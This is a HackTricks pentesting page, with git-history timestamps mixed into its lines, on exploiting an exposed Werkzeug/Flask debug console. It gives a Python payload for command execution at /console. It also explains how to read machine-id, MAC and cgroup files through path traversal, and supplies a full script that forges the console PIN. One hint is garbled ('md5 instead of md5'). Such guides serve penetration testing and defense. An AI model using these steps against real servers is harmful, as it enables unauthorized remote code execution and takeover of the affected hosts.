hacktricks/network-services-pentesting/pentesting-web/werkzeug.md

198 lines
8.7 KiB
Markdown
Raw Normal View History

# Werkzeug / Flask Debug
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>HackTricks in</strong> <a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch</strong></a> <strong>Wed - 18.30(UTC) 🎙️</strong> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
## Console RCE
2020-11-22 21:47:52 +00:00
If debug is active you could try to access to `/console` and gain RCE.
```python
__import__('os').popen('whoami').read();
```
![](<../../.gitbook/assets/image (317).png>)
There is also several exploits on the internet like [this ](https://github.com/its-arun/Werkzeug-Debug-RCE)or one in metasploit.
## Pin Protected - Path Traversal
2020-11-22 21:47:52 +00:00
In some occasions the **`/console`** endpoint is going to be protected by a pin. If you have a **file traversal vulnerability**, you can leak all the necessary info to generate that pin.
2020-11-22 21:47:52 +00:00
### Werkzeug Console PIN Exploit
2020-11-22 21:47:52 +00:00
**Copied from the first link.**\
2020-11-22 21:47:52 +00:00
See Werkzeug “console locked” message by forcing debug error page in the app.
```
2020-11-22 21:47:52 +00:00
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
```
2021-04-20 17:51:23 +00:00
Locate vulnerable Werkzeug debug console at path `vulnerable-site.com/console`, but is locked by secret PIN number.
2020-11-22 21:47:52 +00:00
You can reverse the algorithm generating the console PIN. Inspect Werkzeugs debug `__init__.py` file on server e.g. `python3.5/site-packages/werkzeug/debug/__init__.py`. You can view [**Werkzeug source code repo**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py) **to check how the PIN is generated**, but better to leak source code through **file traversal vulnerability** since versions likely differ.
2020-11-22 21:47:52 +00:00
Variables needed to exploit the console PIN:
2020-11-22 21:53:42 +00:00
```python
2020-11-22 21:47:52 +00:00
probably_public_bits = [
username,
modname,
getattr(app, '__name__', getattr(app.__class__, '__name__')),
getattr(mod, '__file__', None),
]
private_bits = [
str(uuid.getnode()),
get_machine_id(),
]
```
#### **`probably_public_bits`**
* **`username`** is the user who started this Flask
* **`modname`** is flask.app
* `getattr(app, '__name__', getattr (app .__ class__, '__name__'))` is **Flask**
* `getattr(mod, '__file__', None)` is the **absolute path of `app.py`** in the flask directory (e.g. `/usr/local/lib/python3.5/dist-packages/flask/app.py`). If `app.py` doesn't work, **try `app.pyc`**
#### `private_bits`
2020-11-22 21:47:52 +00:00
* `uuid.getnode()` is the **MAC address of the current computer**, `str(uuid.getnode())` is the decimal expression of the mac address.
2020-11-22 21:47:52 +00:00
* To **find server MAC address**, need to know which **network interface is being used** to serve the app (e.g. `ens3`). If unknown, **leak `/proc/net/arp`** for device ID and then **leak** MAC address at **`/sys/class/net/<device id>/address`**.
Convert **from hex address to decimal** representation by running in python e.g.:
```python
# It was 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
```
* `get_machine_id()` concatenate the **values in `/etc/machine-id` ** , **`/proc/sys/kernel/random/boot_id`** and **first line of `/proc/self/cgroup`** after the last slash (`/`).
<details>
<summary>get_machine_id() code</summary>
2020-11-22 21:47:52 +00:00
2020-11-22 21:53:42 +00:00
```python
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id
if _machine_id is not None:
return _machine_id
def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
if linux:
return linux
# On OS X, use ioreg to get the computer's serial number.
try:
2020-11-22 21:47:52 +00:00
```
</details>
2020-11-22 21:47:52 +00:00
Once all variables prepared, run exploit script to generate Werkzeug console PIN:
2020-11-22 21:53:42 +00:00
```python
2020-11-22 21:47:52 +00:00
import hashlib
from itertools import chain
probably_public_bits = [
2021-03-18 22:41:37 +00:00
'web3_user',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
2020-11-22 21:47:52 +00:00
]
private_bits = [
2021-03-18 22:41:37 +00:00
'279275995014060',# str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
2020-11-22 21:47:52 +00:00
]
#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
2020-11-22 21:47:52 +00:00
for bit in chain(probably_public_bits, private_bits):
2021-03-18 22:41:37 +00:00
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
2020-11-22 21:47:52 +00:00
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
2021-03-18 22:41:37 +00:00
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
2020-11-22 21:47:52 +00:00
rv =None
if rv is None:
2021-03-18 22:41:37 +00:00
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
2020-11-22 21:47:52 +00:00
print(rv)
```
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
If you are on an **old version** of Werkzeug, try changing the **hashing algorithm to md5** instead of md5.
{% endhint %}
2022-04-28 16:01:33 +00:00
## References
* ****[**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)****
* ****[**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)****
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>HackTricks in</strong> <a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch</strong></a> <strong>Wed - 18.30(UTC) 🎙️</strong> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>